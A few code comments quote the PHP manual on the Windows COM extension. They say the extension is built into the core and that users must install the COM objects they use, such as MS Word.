   // *quote* from the php manual:
   // There is no installation needed to use these functions; they are part of the PHP core.

   // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

   // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
   // we don't and can't bundle all of those with PHP.
